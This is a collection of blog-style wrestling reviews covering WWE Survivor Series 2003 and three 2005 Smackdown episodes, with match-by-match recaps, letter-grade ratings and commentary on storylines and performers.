Survivor Series 2003
Date: November 16, 2003
Location: American Airlines Center, Dallas, Texas
Attendance: 13,487
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz

This is another big one and it’s also a one sided show. The Smackdown offerings are about as uninteresting as they could be while the Raw side looks at at least marginally better. This isn’t a great show on paper and I have a bad feeling that it’s going to be even worse as it actually takes place. Let’s get to it.

The opening video talks about surviving things such as the game, evolution, and the battles in between. That’s all this needed to be, especially with Austin vs. Bischoff being the real main event.

Team Angle vs. Team Lesnar

Kurt Angle, Hardcore Holly, Chris Benoit, John Cena, Bradshaw
Brock Lesnar, Big Show, A-Train, Nathan Jones, Matt Morgan

Cena is out first and raps about burying everyone, meaning Lesnar and Show need a bigger graves. He’s still new at this team thing because he wonders if he can trade his partners in for a one night stand with Sable. Holly wastes no time and attacks Lesnar before the bell, sending him into the steps and trying a full nelson to break his neck. He also shoves a referee, and gets disqualified before the match even starts.

The bell rings and a Clothesline from Bradshaw ends A-Train in less than thirty seconds to tie it up. The chokeslam gets rid of Bradshaw as we’re not even a minute in yet. Good idea actually, as it’s not like Bradshaw and Holly were anything more than warm bodies anyway. Cena comes in but can’t FU Big Show and gets thrown into the corner as the four remaining members start working him over. A Throwback to Lesnar gets two but more importantly it allows the hot tag off to Benoit.

The chokeslam is countered into a Crossface (always looks cool) with Lesnar making a save. It’s off to an abdominal stretch as things slow down again. The standing legdrop gets two on Benoit and it’s time for some double teaming on the floor. Angle and Cena have finally had enough and go over to make a save but Benoit is beaten down even more. Morgan comes in for some lumbering offense but a suplex allows the hot tag to Angle. That means a series of suplexes as everything breaks down. The Angle Slam eliminates Morgan to tie us up at three.

Show clotheslines Jones by mistake though and an ankle lock gets rid of Nathan less than thirty seconds later. An F5 gets rid of Angle with the first count coming as Jones’ elimination is still being announced. We’re down to Benoit/Cena vs. Lesnar/Show and Brock goes shoulder first into the post.

A Crossface has Lesnar in trouble but he reverses into a cradle for two. Benoit won’t be denied though and slaps it on again, this time with Lesnar’s feet reaching the ropes. The third attempt makes Lesnar tap and we’re down to two on one. Benoit drops Show with a top rope shoulder for two so Cena adds a chain shot and the FU for the pin.

Rating: C-. This was too fast for the most part but the real problem comes from the fact that so many people were involved in the first place. This really could have been a six man elimination tag (A-Train as the third villain) and it would have been better, but that’s not how these things traditionally work. Cena and Benoit winning in the end is the right way to go as Cena’s rocket push is being assembled, but at the same time there’s a lot of work left to do. Benoit vs. Cena, which could still happen, would be a benefit for both guys and that’s a good sign for the future. Unfortunately it wasn’t the best present, but at least it wasn’t long.

Vince McMahon comes in to see Shane and talks about how tonight, father and son are facing two brothers. He thinks it’s almost spiritual and asks Shane how he feels about that. Shane only feels sorry for Vince. The boss leaves and runs into Austin, who starts laughing. Then he stops and gets serious before walking away. These two have great chemistry even if it doesn’t make the most sense.

JR explains the exchange.

Women’s Title: Lita vs. Molly Holly

Lita is challenging after winning a #1 contenders match a few weeks back. Feeling out process to start as JR explains that these two have some contrasting styles. Lita gets knocked to the floor so Molly starts in on the back with some ax handles. We hit a dragon sleeper with Jerry liking her intensity. The handspring elbow in the corner keeps Lita in trouble and Molly stomps away.

A running corner clothesline rocks Molly and Lita rains down some right hands for her first real offense. Molly cuts her off with a side slam but Lawler would rather talk about Lita’s thong. A powerbomb out of the corner gives Lita a breather but the moonsault misses. The Molly Go Round gets two so Molly rips off a turnbuckle pad and sends Lita face first to retain.

Rating: D+. This was mainly Molly doing everything while Lita did a thing or two here and there. That’s not the most thrilling style in the world but Molly can be made into a good champion for a big name to take the title from later. Let her be built up for awhile instead of giving Lita the title immediately. It’s ok to wait now and then.

We recap Kane vs. Shane McMahon. Kane went nuts after losing his mask and after struggling to defeat Rob Van Dam, started tormenting Linda McMahon. Shane became the big star out of this because of course he did, including beating himself in a Last Man Standing match. Various attempted murders later set up this ambulance match, which is possibly the second most pushed match on the show.

Shane McMahon vs. Kane

Ambulance match with Shane charging straight at him for a crossbody to the floor. Shane knocks him onto the announcers’ table and hits him in the head with a monitor, setting up the big elbow to drive Kane through. That’s enough at ringside though so they head to the back, including the camera cutting out. That means we hit the pretape and come back with Shane pounding him down with a kendo stick.

Shane puts him in a security shack and jumps into an SUV to run Kane over again. Finding a well placed walkie-talkie, Shane tells someone to SEND IT, which means it’s time for an ambulance backstage. But is that the designated ambulance? That makes a difference you know. Instead of backing the ambulance up to the shack where Kane is down, Shane grabs a stretcher and wheels it twenty feet over, allowing Kane to grab him by the throat and slam Shane into a wall.

The camera goes out again and we pick it up with Kane knocking him back into the arena. Shane gets knocked into the front of the ambulance but manages to hit Kane in the face with the back door. What a sick sounding thud too. Kane is back up and sends Shane into the ambulance but another ram with the door gets Shane out of trouble. A tornado DDT on the floor plants Kane as they’re now near the grave for the Buried Alive match.

Shane puts a trashcan (good thing one was nearby) and a crashpad (same as before) and hits the Coast to Coast off the top of the ambulance to smash Kane’s face. That’s still not enough to wrap things up as Kane pulls Shane into the ambulance with him for more brawling. It’s Kane throwing Shane out though and then ramming him back first into the side. He javelins Shane’s head into the other side (you have to match you see) and a Tombstone on the floor is enough for the win.

Rating: D. This wasn’t as long as I was expecting but again, this doesn’t really do what they were likely shooting for with Kane. It makes two straight matches where Kane has had trouble beating up Shane McMahon. He can destroy Rob Van Dam but Shane gives him trouble? It didn’t work last time and it doesn’t work here. Now that he’s lost all of his heat though, you can pencil him in for a World Title match.

Brock Lesnar says he didn’t lose that match because his team lost it instead. Goldberg comes in for a staredown but Lesnar won’t wish him luck tonight. And so it begins.

Here’s the Coach, in a neck brace, for a chat. He assures his fans that he’s fine after the 3D from the Dudleys on Monday and he’ll be good to go soon. That seems to be it but hang on a second as Coach sees Dallas Mavericks owner Mark Cuban in the front row. Cuban is ready to see Austin’s team win and insults referees of all kinds (he’s known for heavy criticisms of NBA referees). This brings out Eric Bischoff to invite Cuban into the ring, where a fight breaks out. Bischoff gets shoved down but here’s Randy Orton for an RKO to complete this waste of time.

Evolution is having a party with HHH in the middle of a good looking bunch of women. Ric Flair comes in to say they can have the champ later, which annoys HHH. Orton comes in, hits on the women, and brags about what he just did. Uh, congratulations?

Smackdown Tag Team Titles: Los Guerreros vs. Basham Brothers

The Brothers are defending after Eddie won a handicap match to earn the shot. Eddie and Chavo waste no time in slugging away until Shaniqua offers a distraction to slow things down. That doesn’t seem to matter much to the cousins as Eddie works over Danny to start things off. A dropkick gives Chavo two and there’s a headscissors/armdrag combination from Eddie to put both champs down.

Some double teaming (described by Cole as “classic Bashams”) takes over though and Shaniqua gets in a slam on Eddie for good measure. Back in and Eddie gets stomped in the corner, followed by a double vertical suplex for two. Eddie gets free with a headscissors and hands it back to Chavo, who is double flapjacked in short order. Chavo fights up but Twin Magic takes him down again. Everything breaks down and Chavo slams Shaniqua, followed by a quick spanking. That’s NOT cool with the champs so Doug grabs a rollup with Chavo’s tights to retain.

Rating: D+. Another TV level match here with Los Guerreros coming up short again as we get closer to their inevitable split. The Bashams aren’t a great team (though they have apparently have a classic period) but they’re serviceable for something like this. Get rid of the dominatrix stuff though as it’s not working, isn’t funny and makes Shaniqua look like the important part of the team, which misses the point entirely.

Replays show Chavo kicking Eddie down by mistake, meaning this is far from over.

JR doesn’t think Austin can handle this trusting people stuff and has never seen Austin this angry.

We recap Team Austin vs. Team Bischoff. They’re running the show together but Austin isn’t allowed to attack people at will anymore. On top of that, a lot of people are accusing him of ruining the show through his various antics. That doesn’t sit well with Austin, so it’s time for a winner take all match with the winner getting to run Raw on their own. The idea is Austin has to trust people, which goes against everything he believes in.

Team Austin vs. Team Bischoff

Austin: Shawn Michaels, Dudley Boyz, Booker T., Rob Van Dam
Bischoff: Scott Steiner, Mark Henry, Christian, Chris Jericho, Randy Orton

Coach, Stacy Keibler and the two team captains are at ringside. The fans want tables to start but have to settle with D-Von and Christian instead. D-Von shoulders him down to start but gets slapped in the face, triggering a bunch of right hands to the head. That’s not a nice response. Van Dam comes in for some forearms to the face and a kick to the jaw gets the same. It’s off to Jericho for some more luck, followed by Steiner whipping Van Dam hard into the corner to set up some posing.

Van Dam’s comeback is cut off by a belly to belly superplex but he’s able to get over to Booker for the hot tag. Things speed way up in a hurry and the scissors kick into the Spinarooni makes Bischoff face palm. Everything breaks down in a hurry and Steiner hits Booker low. The Recliner goes on but Stacy offers a distraction, setting up a reverse 3D. A Bookend is enough to get rid of Steiner and make it 5-4.

The World’s Strongest Slam gets rid of Booker a few seconds later to tie it right back up. Bubba comes in to try his luck and is sent hard into the corner. D-Von’s help doesn’t make things much better as the Dudleys are rammed together. Mark misses a charge though and it’s a 3D into the Five Star for the elimination. It’s off to Orton for a hard clothesline on Van Dam but Rob scores with a kick. Another Five Star is loaded up but Jericho makes a save, setting up the RKO to tie things up at three each. Jericho comes in and missile dropkicks D-Von down as JR and King wonder how things will go tomorrow night.

D-Von shoulders Jericho down for no count as Christian has the referee, setting up the sleeper drop for another elimination. This match is already better paced than the opener and here’s Shawn to pick things up all over again. Shawn pounds on Jericho in the corner and catches an invading Christian without much effort. Orton gets in a dropkick but stays down anyway as I guess he didn’t hit all of it. A double tag brings in Christian and Bubba with a backdrop getting two on the Canadian.

Jericho runs Christian over by mistake but a low blow sets up the Unprettier to get rid of Bubba. We’re down to Shawn vs. Christian/Jericho/Orton and Austin is starting to see how much trouble he’s in. Shawn punches away at Christian to start but some good old fashioned double teaming has Shawn in trouble again. Like there’s any other way this should go. Shawn is taken outside and catapulted into the post (you can see him blade on the wide shot) to bust open a GUSHER.

That and a suplex are only good for two back inside and Christian even steals his pose. Jerry: “That was a creepy little pose right there.” The Unprettier is broken up and a quick Sweet Chin Music gets rid of Christian. A frustrated Jericho comes in and gets two off a clothesline before handing it back to Orton. Shawn gets in a belly to back suplex but Jericho comes back in to take over again. As usual, JR is perfect at calling this kind of a story and Shawn getting two off a DDT has Jerry trying as hard as he can to believe in Shawn.

The Lionsault hits knees and Shawn pulls himself up but gets pulled into a Walls attempt. That’s reversed into a quick small package to get rid of Jericho and make it one on one (Lawler: “I BELIEVE I BELIEVE!”). Jericho isn’t gone yet though and caves Shawn’s head in with a chair shot. Why that isn’t a DQ on Orton isn’t clear but Shawn is done as Orton comes back in.

That’s only good for two and you can see the sigh of relief from Austin. Orton’s high crossbody hits the referee and here’s Bischoff to break up Sweet Chin Music. That’s too much for Austin so it’s a Stunner to Orton but he makes the mistake of beating on Bischoff a bit too much. They go up the aisle and here’s Batista to powerbomb Shawn, giving Orton the final pin.

Rating: B+. I love this match and always have. It doesn’t really pick up until Shawn is on his own but that’s what he’s done best throughout his entire career. He knows how to play the underdog better than anyone I’ve ever seen and you really can get behind the Lawler mindset of trying to believe here. As usual, Shawn is great in this role and it’s never too far to believe that he could pull this off (quick superkick, small package for two eliminations). Great stuff, but you might want to skip the first few minutes.

Austin is stunned at the loss because he placed his career in someone else’s hands and was let down. The bloody Shawn can barely stand and Austin congratulates him for giving it everything he had. Austin grabs the mic and talks about starting here in Dallas and going out here as well. Coach comes out to laugh and gets beaten up one more time with security getting the same treatment. Beer is consumed as a final goodbye. You know, assuming you believe that he’s gone for good this time.

We recap Undertaker vs. Vince McMahon. Undertaker wants the title one more time but Vince screwed him over at No Mercy. Therefore Undertaker wanted a Buried Alive match here, because that’s where you go from here. Vince then went into this weird spiritual thing, which really didn’t work or accomplish much.

Tazz’s key for Vince’s victory: AVOID THE HOLE! Good advice.

Vince McMahon vs. Undertaker

Buried Alive and Vince drops to a knee in prayer before the match. Undertaker punches him down to start and the beating is on in a hurry. Vince is already bleeding less than thirty seconds in as this is going to be one sided for a long time. The beating continues until Undertaker crotches him on the post to switch things up a bit. More low blows keep Vince in trouble and it’s time to go to the floor with Undertaker choking with a cord. Completely one sided so far, as you probably guessed.

Cole and Tazz try to explain the idea of Vince being punished for his sins, which I’m guessing are mainly about Stephanie. I mean, almost everything else is. Vince is thrown over the announcers’ table and it’s time to go to the grave. Well just Undertaker at this point and he comes back with a shovel. One heck of a shot to the head rocks Vince again and Cole declares it over. So much for Undertaker’s hot streak.

Vince’s ankle gets crushed by the steps and NOW it’s time to head to the grave. Vince finally throws some dirt in the eyes (his first “offense”) and a low blow keeps Undertaker in trouble. A shovel to the head puts Undertaker in the grave….for a few seconds. He pulls Vince in and goes to the front loader to drop the dirt but gets cut off by lightning. Cue Kane to beat up Undertaker and bury him (again) to give Vince the win.

Rating: D-. So yeah LOLVINCEWINS because of course he does. There was nothing to see here unless you like Undertaker destroying people and then having a surprise ending. The announcers treated this like Undertaker’s last match, because if there’s one thing Undertaker is known for, it’s going away for good. It’s more of a match than an angle, and there’s no way that’s how Undertaker is going out. Bad match but moderately entertaining beatdown.

Cole and Tazz are SHOCKED.

We recap the Raw World Title match. Goldberg won the title last month so HHH put a $100,000 bounty on his head. Batista returned and collected by breaking Goldberg’s ankle so tonight it’s about revenge and the title. There’s not much of a reason for this to main event but would you expect much else? Well save for Vince maybe?

Raw World Title: HHH vs. Goldberg

Goldberg is defending and is coming in with a bad ankle. HHH is looking as out of shape as I’ve seen him in years, probably due to his bad groin injury. Hang on a second though as Goldberg has to quickly dispatch Flair to make it a little more fair. They head outside in short order with Goldberg hammering away but the ankle gives out on a gorilla press attempt.

A chop block takes Goldberg down and we hit the meat of the match. Flair is back up as HHH sends Goldberg outside, meaning a distraction sets up a chair to Goldberg’s ankle. There’s another chop block back inside and the slow leg work continues with Flair getting in a few shots of his own. A knee drop keeps the ankle in trouble and we hit a half crab. At least he knows his low level submissions.

Goldberg grabs the rope and fires off some right hands to little avail. A limping clothesline works a bit better as Flair is beside himself. HHH takes him down again and calls for a Figure Four, only to be kicked into the referee. That means brass knuckles for a very near fall and HHH beats up the referee again. The sledgehammer is brought down but Goldberg kicks him down with the bad ankle.

Flair’s latest attempt at interfering gets him slammed off the top (JR: “It hasn’t worked in thirty years.”) and Goldberg grabs the hammer. A shot to the ribs drops Flair and an invading Batista and Orton are quickly dispatched as well. The Pedigree is blocked and Goldberg picks up the hammer again but throws it down. Instead it’s a spear and Jackhammer to retain the title like a real man.

Rating: D+. Well if you’re a fan of HHH working the ankle, have fun. Goldberg looks strong, but there have been so many other big matches tonight that this isn’t the strongest way to end things. I’ll give them points for giving Goldberg a push, but you’re crazy if you think HHH isn’t getting the title back within the next month. Just a messy brawl, but it could have been much worse. At least HHH didn’t need fifteen minutes of working the leg.

Overall Rating: C-. There’s some good and bad stuff on this show but the bad wins out in the end. Between the weak main event, not great opener and pretty terrible Vince vs. Undertaker match, there’s not enough to put with Shawn’s amazing performance. This was better than I was expecting though and that’s a nice relief. Both shows need something fresh on top and it actually seems to be happening on Smackdown. I’ll take one out of two, especially at this point in time.

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IMG Credit: WWE

Smackdown
Date: June 16, 2005
Location: Giant Center, Hershey, Pennsylvania
Attendance: 2,500
Commentators: Tazz, Michael Cole

It’s both a fallout show and one of the last shows before the next pay per view as we are stuck between One Night Stand and Vengeance. Normally Vengeance would not mean anything, but the Draft has shaken things up to the point where some people on this show might be on Vengeance anyway. That makes for an interesting time, as does the lack of a World Champion. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a recap of Chris Benoit being announced as the first Draft pick last week.

Opening sequence.

Chris Benoit vs. Doug Basham

Benoit starts with the chops and there’s a hard whip into the corner to make it worse. Basham knees him in the ribs and starts hammering away, including a suplex to set up some posing. The chinlock goes on, followed by a neckbreaker to keep Benoit down. Another neckbreaker is cut off and Benoit baseball slides the leg out. The rolling German suplexes rock Doug but he catches Benoit on top with a superplex. Basham tries a rollup but Benoit reverses into one of his own for the fast pin.

Rating: C-. As usual, the Bashams are fine enough in their role and that is all they should be doing. It isn’t supposed to be some big competitive match as Benoit is one of the best in the company and needs to be established on Smackdown. The match was fine enough, but it was something that came and went as it should have. This would actually be the last match we would see from either of the Bashams and they were fine for what they were, but they were so wasted during the whole Shaniqua deal that their careers were dead in the water for a long time. I’m not sure how much better they could have been, but that was awful.

Post match the Cabinet beats Benoit down but Undertaker makes the save. Theodore Long comes out to make JBL vs. Undertaker in a No DQ match tonight.

Eddie Guerrero vs. Paul London

Non-title. London charges to the ring and gets kicked in the face for his efforts. Some right hands get London out of trouble but a powerbomb puts him right back in. A tilt-a-whirl backbreaker sets up the chinlock for a few moments. London fights up again and hits a leg lariat, only to get crotched on top. Eddie grabs a brainbuster (and nearly drops him) and puts on a Texas Cloverleaf (with a maniacal look) to make London tap.

Rating: D+. Just a squash here, because a champion is the kind of person you squash. They couldn’t have had this be against Akio or have put someone other than London in the same spot last week but that’s what the Cruiserweight Title is for anymore. I’m not sure why they keep it around if this is what it means but that has been the case for years.

Post match Rey Mysterio comes out for the save and uses a chair to get rid of Eddie.

Post break Eddie and Rey are fighting in the garage area, including into a trailer. They slug it out and the door closes with Eddie diving through the door to escape and trap Rey inside.

JBL won’t give Orlando Jordan any help in his US Title match tonight. Jordan points out that he is the only champion in the Cabinet but JBL makes it clear that they work for him. He can’t remember who is Danny and who is Doug though and the Bashams quit.

It’s time for Carlito’s Cabana with no Matt Morgan as he is getting ready for his match against Big Show. That’s for later though, so here are this week’s guests: Booker T. and Sharmell. Booker isn’t happy with Kurt Angle having been sent to Raw because they like beating him up. Carlito likes that idea but would rather talk about something romantic between Booker and Sharmell. Then he mentions Angle going after Sharmell and suggests that she could be sent to Raw without Booker. Sharmell doesn’t like the sound of that and Booker beats him up. They even throw apples at Carlito, which is rather wasteful.

Post break Carlito yells at Morgan, who has to go fight Big Show.

Matt Morgan vs. Big Show

Show wastes no time in taking him into the corner for the big overhand chops. An elbow gives Show two as Carlito comes out. The distraction lets Morgan get in a big boot to put Show on the floor and it’s off to the chinlock. That’s reversed into a suplex and some headbutts put Morgan outside. Show gets sent into the steps and Morgan loads up the announcers’ table but Show is back up. The chokeslam is loaded up but it’s a chair shot from Carlito to draw the DQ.

Rating: D. Carlito continues to be quite the nuisance but at least the match was better than dealing with the stutter again. It’s so sad to see Morgan wasted like that but maybe the partnership with Carlito is coming to an end. The wrestling was barely a thing here as it was all about setting up the ending.

Post match Show shrugs it off and hits the chokeslam to put Morgan through the table. Show stalks Carlito away.

We recap the Undertaker’s return from earlier.

US Title: Hardcore Holly vs. Orlando Jordan

Holly is challenging as I try to figure out the criteria for getting a title shot. Jordan gets stomped into the corner to start as Tazz talks about championship opportunities being few and far between. What is this, Holly’s fourth or so in about a month? Jordan gets in an elbow to the face and a suplex is good for two. A hurricanrana and some clotheslines drop Jordan and a top rope clothesline does it again. The Alabama Slam is broken up so Holly tries a sunset flip but Jordan grabs the rope to retain.

Rating: D. What in the world do they see in Jordan? I don’t remember the last time I saw him do anything memorable and the matches are getting less and less interesting. Holly isn’t exactly thrilling but he completely outshined Jordan here. That being said, it isn’t like it’s all that difficult to do.

Eddie vs. Rey next week.

Undertaker vs. John Bradshaw Layfield

No DQ. Jordan is here with JBL but cue Benoit to take care of him before the bell. Cue the gong and JBL is in trouble. JBL gets aggressive to start and pounds away in the corner….which goes as well as you would expect. An exchange of big boots goes to Undertaker and it’s time to pull on JBL’s arm. Old School connects and the Downward Spiral gets two.

They slug it out on the floor with Undertaker whipping him into the steps but getting reversed into them on a second attempt. Serves him right for being so mean. Undertaker gets crotched on the barricade and we take a break. Back with JBL hitting a flying shoulder (always looks good) for two and getting the same off a swinging neckbreaker. Undertaker gets in a shot to the face to start the slugout so JBL goes to the eyes.

That doesn’t seem to do much as Undertaker boots him in the face and hits the apron legdrop for a bonus. Back in and JBL gets crotched on top and superplexed for two more and they’re both down. Snake Eyes into another big boot gets another two, followed by the chokeslam for the latest near fall.

A low blow gets JBL out of the Tombstone attempt though and the Clothesline From JBL gives him his own two. JBL gets in some right hands in the corner and poses as an idiot. The Last Ride out of the corner is only good for two in a move you don’t see getting kicked out of too often. The Tombstone is loaded up but here’s Randy Orton, as the new Smackdown Draft pick, for the RKO to give JBL the pin.

Rating: C. I know he gets a lot of flack (though I’m not sure how much of it is earned) but JBL can do some perfectly competent brawling and that was the case here. There were a few too many near falls but they didn’t go nuts with the weapons and had a nice enough match. The stipulation was to allow the brawling and the ending so all in all, this wasn’t too bad and the time went by quickly.

Post match Orton says Undertaker got RKOed and he better get used to it because Orton is now on Smackdown. Orton does his pose for a great shot as the shadow goes over the metal set.

Overall Rating: D+. The Draft couldn’t come at a better time because this show has some real weak spots. Look at the middle part of the show: stuttering Matt Morgan (again: bad gimmick), Orlando Jordan vs. Hardcore Holly in a title match, and the Cruiserweight Champion jobbing clean (yes it was to Eddie but they could have put in any cruiserweight and told the same story). That’s quite a run of bad in a row, meaning that it took the Undertaker to get Match Of The Night off of a departing Doug Basham. The ending was good, but dang that midcard needs an overhaul.

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IMG Credit: WWE

Smackdown
Date: June 2, 2005
Location: Rexall Place, Edmonton, Alberta, Canada
Attendance: 5,000
Commentators: Michael Cole, Tazz

We’re in that weird period where the fallout from a pay per view is over and now we’re on the way to nothing because there isn’t another Smackdown pay per view for over a month. At the same time though, we’re less than a week away from the Draft so it’s time to get some new toys around here. Let’s get to it.

Here are last week’s results if you need a recap.

We look back at Kurt Angle winning a battle royal and granting himself a match against Sharmell tonight. Eddie Guerrero attacked Rey Mysterio before the match because Eddie is insane.

Opening sequence.

We open with Carlito’s Cabana (again) with Matt Morgan acting as security. Carlito isn’t happy about being in Canada because Edmonton is the least coolest (his words) city in North America. We look at Morgan putting Big Show through a table last week with an F5. Morgan stutters at the crowd before Carlito brings out his guest for the week: John Cena. With the Wayne Gretzky jersey on, Cena mocks both Carlito and Morgan, the latter of whom does not like being called a palm tree.

Cena mocks the stuttering a lot before saying that since this might be their last night together on Smackdown, he needs to get to the point: Carlito isn’t cool. He’s a cabana boy with bad hair and hangs out with Michael Cole wannabes. We hear a bunch of similarities between Cole and Morgan (Hair, bear, affinity for oiling themselves up and wearing spandex) until Carlito says he can’t wait for someone to come over from Raw and embarrass Cena. That sounds cool with Cena, who says anyone who wants some can come get some. As for coming and getting some, tonight it’s Carlito/Morgan vs. Cena/Big Show.

Theodore Long is on the phone (which looked like the same Motorola I had around this time) when Booker T. and Sharmell come in. Booker wants Sharmell out of the match because she’s no wrestler, but Long says it’s all in the rules. However, Long does have an idea: Booker can be added to the match to make it a handicap match. That’s cool with Booker, so Long tells him to go handle his business.

Tag Team Titles: MNM vs. Charlie Haas/Hardcore Holly

MNM is defending in a fifteen minute Iron Man match, because this needed a trilogy match with a gimmick. Haas trips Nitro to the mat to start so Nitro bails to the floor for a breather. Back in and a crossbody gets two on Nitro, who is chased into the corner for the tag off to Mercury. Holly pulls him in and hits a Russian legsweep for two, followed by the hanging kick to the ribs.

The Alabama Slam is loaded up but the referee is off yelling at Haas, allowing Nitro to hit a superkick for the pin and the first fall. Holly stays in and grabs an armbar on Nitro, which doesn’t exactly last long. Therefore Holly puts it right back on as the stalling continues and we take another break. Back again with less than six and a half minutes to go after MNM got a second fall during the break when Haas was posted and pinned.

Haas grabs a quick Oklahoma roll to get a fall back so the champs start slowing the pace down again. The fans want Holly with five minutes left as the announcers make basketball analogies about the clock. Holly finally comes in for a save and tries to drag Haas to the corner in a move that isn’t done enough. A running hip shot knocks Haas to the floor so Holly throws him back inside.

Back in and Haas finally gets in a clothesline for a breather and an enziguri allows the hot tag with less than two minutes to go. Holly cleans house and gets two off a full nelson slam, followed by the dropkick for two. There’s a minute left and the Snapshot is broken up so Holly can hit the Alabama Slam. Melina dives in and covers Nitro though, presumably making her the Tag Team Champions as time expires.

Rating: C. Uh yeah fine, now can we PLEASE find some new challengers? The matches have been fine enough but Holly and Haas have lost three times now and weren’t interesting challengers in the first place. The fans are getting into Holly and they’re nothing close to a disaster or even bad, but we need something fresh.

Long video on Eddie Guerrero vs. Rey Mysterio, going from their teaming together to their split, with Chavo Guerrero playing a great devil on Eddie’s shoulder.

Here’s Kurt Angle for his match with Booker and Sharmell but first, he needs to talk about Tazz not doing commentary during last week’s Kurt Angle Invitational. That comes off as disrespectful, so Angle has a clip of his own. That would be from his one night in ECW, where Tazz said Angle was a great amateur but he’s a great professional.

Back in the arena, Angle knows that it was Paul Heyman making Tazz say it. Tazz isn’t a wrestler like the people in ECW, though they weren’t wrestlers either. The WWE made him a star, so Angle wants Tazz to come with him to One Night Stand and kill ECW once and for all. Tazz takes his sunglasses off but doesn’t say anything.

Booker T./Sharmell vs. Kurt Angle

Thankfully Booker acts sane here and makes Sharmell stay down on the floor but the referee says everyone has to be in the ring at the same time. Angle knocks Booker outside so Sharmell runs (because she’s smart), allowing Booker to get back up and Catch Angle on the floor. A clothesline puts Booker on the floor again though and it’s time for more stalking. Like any distressed woman in wrestling, Sharmell trips over the steps and Angle throws her inside for a powerbomb, complete with hip swivel.

There’s a bit too much swiveling though and Booker hammers away. The Book End looks to set up the Houston Hangover but Angle crotches him. There’s a superplex but Angle can’t get up, so Sharmell covers him for two. We take a break (In this match???) and come back with Angle holding a Fujiwara armbar as Booker seems almost out. Booker fights back with chops but gets caught in the rolling German suplexes.

Angle takes Sharmell down into something close to a choke but seems to be whispering in her ear instead. Booker makes the save and gets caught in the Angle Slam for two. That’s enough for Angle to back Sharmell into the corner and take down the straps so she bites and slaps away. The low blow is countered into the ankle lock but Booker kicks him in the face.

Booker hits the spinning kick but misses the ax kick, allowing Angle to drive Booker into Sharmell and the referee at the same time. A superkick puts Angle on the floor but he’s back in with some chair shots to Booker and now Sharmell is all alone. Angle stacks her up in a rollup (you can imagine the positioning) for the pin.

Rating: F. The wrestling wasn’t even very good because Booker was going wild out there (makes perfect sense) but is there ANY reason why Booker and Sharmell tried to have the match? Long didn’t threaten them if they didn’t go through with it, so why not have Sharmell run away and just take the countout or DQ while Booker stays in the ring and beats Angle up? This made no sense and I spent the whole match wondering why they weren’t just doing the obvious thing. Oh and given how completely absurd this whole thing is, it’s about as much of a failure as you can get.

Post match Angle climbs on top of her so Booker makes the save to send a smiling Angle off.

Video of John Cena’s media tour for his album.

Heidenreich vs. Devon Nicholson

Nicholson is a tiny bit famous as Hannibal. Heidenreich goes to find a friend before the match and she looks just like Lindsay Lohan in The Parent Trap. He reads her a poem about having an unsure future in the Draft before pummeling Nicholson like the jobber that he is. The Boss Man Slam gives Heidenreich the pin as I try to get Do You Believe In Magic out of my head.

The women are backstage, as they tend to be, when Mark Jindrak comes up. He hopes there are some new women around here in the Draft. Jindrak: “Some ones that put out.” He is shouted off in a hurry.

Nunzio vs. John Bradshaw Layfield

Hold on though as JBL needs to rant about how bad ECW was. He blames all of the violence in wrestling on ECW and is appalled at the idea of Paul Heyman being a genius. Heyman claims to have brought in a bunch of legends but in case you haven’t heard, he is a liar. JBL rants about the ECW wrestlers we got, including Sandman and Lance Storm (those two are not often listed together), before saying ECW will not invade New York. He will be one of the crusaders at One Night Stand and lead the forces against ECW.

Speaking of ECW, let’s make this an ECW Rules match. JBL boots him to the floor so Nunzio slips underneath the ring and comes out the other side with a kendo stick. Some kendo stick shots connect but the Cabinet comes in so the Clothesline From JBL can connect. The big kendo stick shot finishes Nunzio quick in a match that was secondary to the promo (which is fine here).

Booker and Sharmell come in to rant at Long, demanding a match with Angle. If Long won’t make it, Booker will do it in the streets. Long can’t guarantee anything, but if they’re both here after the Draft, it’s on.

Raw Rebound.

Big Show/John Cena vs. Carlito/Matt Morgan

Show’s shoulder and ribs are heavily taped up but Cena lets him start with….well hang on as Morgan and Carlito aren’t sure who is starting. Carlito drops to the floor so Cena throws him in and the chops are on. Morgan gets shoved off the apron and Carlito is tossed onto him for the big crash.

Back from a break with Show knocking Morgan into the corner and hitting some loud chops before bringing Cena in. A slam puts Morgan down but he’s fine enough to bring Cena into the corner so the villains can take over for the first time. Morgan misses an elbow though and it’s back to Show for the house cleaning. There’s a side slam to Morgan but it messes up the ribs all over again. Ever the well trained rookie, Morgan is smart enough to kick at the ribs and drives a knee into them for a bonus.

Carlito even makes himself useful with a left hand to the ribs. He even comes in to stay on the ribs but Show sends him into Morgan, which counts as a tag. The required bearhug goes on until Show fights out and chops away at everyone. Morgan breaks up the chokeslam but it’s off to Cena to pick up the pace. Show Cactus Clotheslines Morgan to the floor and Cena hits the Shuffle into the (sitout) FU for the pin on Carlito.

Rating: C-. Cena has rocketed from the top of the card into the superstar status so fast that it’s almost hard to believe. He was a big deal when he won the title but now he feels like the real star that WWE has wanted him to be. That presents a problem though as there is no one who can fight against him, at least not on Smackdown at the moment. Carlito isn’t someone who is believable against this Cena and that was very obvious the whole time here. To be fair though, that wasn’t exactly what they were going for and that helped a lot.

Cena checks on the injured Show to end the show.

Overall Rating: D+. So yeah, other than Rey vs. Eddie, it is more than time for some fresh blood around here and that is painfully obvious. Angle vs. Booker is just disturbing and Cena needs a challenger, though at least the ECW stuff is helping things along a bit. The show wasn’t the worst, but it’s running out of gas and that is the kind of thing that can create some rough watches. Not a bad show, but that Angle vs. Booker stuff needs to be forgotten in a hurry.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Smackdown
Date: May 26, 2005
Location: Bradley Center, Milwaukee, Wisconsin
Commentators: Michael Cole, Tazz

We’re past Judgment Day and that means it’s going to be a good while before Smackdown has its own pay per view again. ECW One Night Stand is going to be its own thing and then Raw has Vengeance. Then again the Draft starts next month and that is going to shake things up anyway so it might be a long time before we know what we are going to have in the first place. Let’s get to it.

Here are Judgment Day’s results if you need a recap.

We open with a recap of the rather violent I Quit match with John Cena making JBL quit and then beating him up anyway. Quite the heroic action, but that much blood and that kind of a star making performance make up for it.

Opening sequence.

